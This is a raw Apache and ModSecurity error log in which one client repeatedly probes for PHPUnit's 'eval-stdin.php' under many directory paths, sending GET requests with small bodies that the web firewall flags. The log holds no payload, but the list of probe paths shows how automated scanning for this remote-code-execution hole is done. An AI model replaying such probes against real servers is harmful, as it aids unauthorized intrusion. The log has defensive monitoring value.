[Fri Jul 17 10:23:20.351553 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QFwhXK3LBDRkoRBT8QAAABY"]
[Fri Jul 17 10:23:20.352154 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1QFwhXK3LBDRkoRBT8QAAABY"]
[Fri Jul 17 10:23:20.990811 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QHHGgRvC9MVf3SzHqAAAAAI"]
[Fri Jul 17 10:23:20.990916 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QHHGgRvC9MVf3SzHqAAAAAI"]
[Fri Jul 17 10:23:20.990958 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QHHGgRvC9MVf3SzHqAAAAAI"]
[Fri Jul 17 10:23:20.991385 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QHHGgRvC9MVf3SzHqAAAAAI"]
[Fri Jul 17 10:23:20.992005 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1QHHGgRvC9MVf3SzHqAAAAAI"]
[Fri Jul 17 10:23:21.363533 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:60972] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:21.374558 2026] [security2:error] [pid 2075693:tid 2075693] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/backup/"] [unique_id "alm1QX5-BwPGxupoEJk0YQAAAA0"]
[Fri Jul 17 10:23:21.375151 2026] [security2:error] [pid 2075693:tid 2075693] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/backup/"] [unique_id "alm1QX5-BwPGxupoEJk0YQAAAA0"]
[Fri Jul 17 10:23:21.429524 2026] [authz_core:error] [pid 2075693:tid 2075693] [client 216.244.66.236:0] AH01630: client denied by server configuration: /home/anandaob/public_html/backup/error_log
[Fri Jul 17 10:23:21.521398 2026] [security2:error] [pid 2075693:tid 2075693] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/backup/"] [unique_id "alm1QX5-BwPGxupoEJk0YQAAAA0"]
[Fri Jul 17 10:23:22.177479 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:22.180416 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QnHGgRvC9MVf3SzHqgAAAAI"]
[Fri Jul 17 10:23:22.180503 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QnHGgRvC9MVf3SzHqgAAAAI"]
[Fri Jul 17 10:23:22.180552 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QnHGgRvC9MVf3SzHqgAAAAI"]
[Fri Jul 17 10:23:22.180981 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QnHGgRvC9MVf3SzHqgAAAAI"]
[Fri Jul 17 10:23:22.181612 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1QnHGgRvC9MVf3SzHqgAAAAI"]
[Fri Jul 17 10:23:22.379492 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:22.537116 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QrUVEJ3gwrjEiOQW9AAAABA"]
[Fri Jul 17 10:23:22.537211 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QrUVEJ3gwrjEiOQW9AAAABA"]
[Fri Jul 17 10:23:22.537248 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QrUVEJ3gwrjEiOQW9AAAABA"]
[Fri Jul 17 10:23:22.537625 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QrUVEJ3gwrjEiOQW9AAAABA"]
[Fri Jul 17 10:23:22.538397 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1QrUVEJ3gwrjEiOQW9AAAABA"]
[Fri Jul 17 10:23:23.214161 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:23.571526 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:23.870646 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QxyL4_TKNgi7OLI3OAAAAB4"]
[Fri Jul 17 10:23:23.870756 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QxyL4_TKNgi7OLI3OAAAAB4"]
[Fri Jul 17 10:23:23.870791 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QxyL4_TKNgi7OLI3OAAAAB4"]
[Fri Jul 17 10:23:23.871191 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QxyL4_TKNgi7OLI3OAAAAB4"]
[Fri Jul 17 10:23:23.871950 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1QxyL4_TKNgi7OLI3OAAAAB4"]
[Fri Jul 17 10:23:23.917031 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:24.527612 2026] [security2:error] [pid 2075728:tid 2075728] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1RG4QbEUIiqCvQml5mQAAAAQ"]
[Fri Jul 17 10:23:24.527716 2026] [security2:error] [pid 2075728:tid 2075728] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1RG4QbEUIiqCvQml5mQAAAAQ"]
[Fri Jul 17 10:23:24.527753 2026] [security2:error] [pid 2075728:tid 2075728] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1RG4QbEUIiqCvQml5mQAAAAQ"]
[Fri Jul 17 10:23:24.528117 2026] [security2:error] [pid 2075728:tid 2075728] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1RG4QbEUIiqCvQml5mQAAAAQ"]
[Fri Jul 17 10:23:24.528852 2026] [security2:error] [pid 2075728:tid 2075728] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1RG4QbEUIiqCvQml5mQAAAAQ"]
[Fri Jul 17 10:23:24.903261 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1RF6LQV5zcO01IS_BRwAAAAw"]
[Fri Jul 17 10:23:24.903386 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1RF6LQV5zcO01IS_BRwAAAAw"]
[Fri Jul 17 10:23:24.903454 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1RF6LQV5zcO01IS_BRwAAAAw"]
[Fri Jul 17 10:23:24.903939 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1RF6LQV5zcO01IS_BRwAAAAw"]
[Fri Jul 17 10:23:24.904569 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1RF6LQV5zcO01IS_BRwAAAAw"]
[Fri Jul 17 10:23:25.078240 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:25.281626 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:25.367537 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:25.418966 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:25.737619 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:25.738247 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:32910] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:26.661441 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:32946] AH02013: coalesce failed to read from data bucket
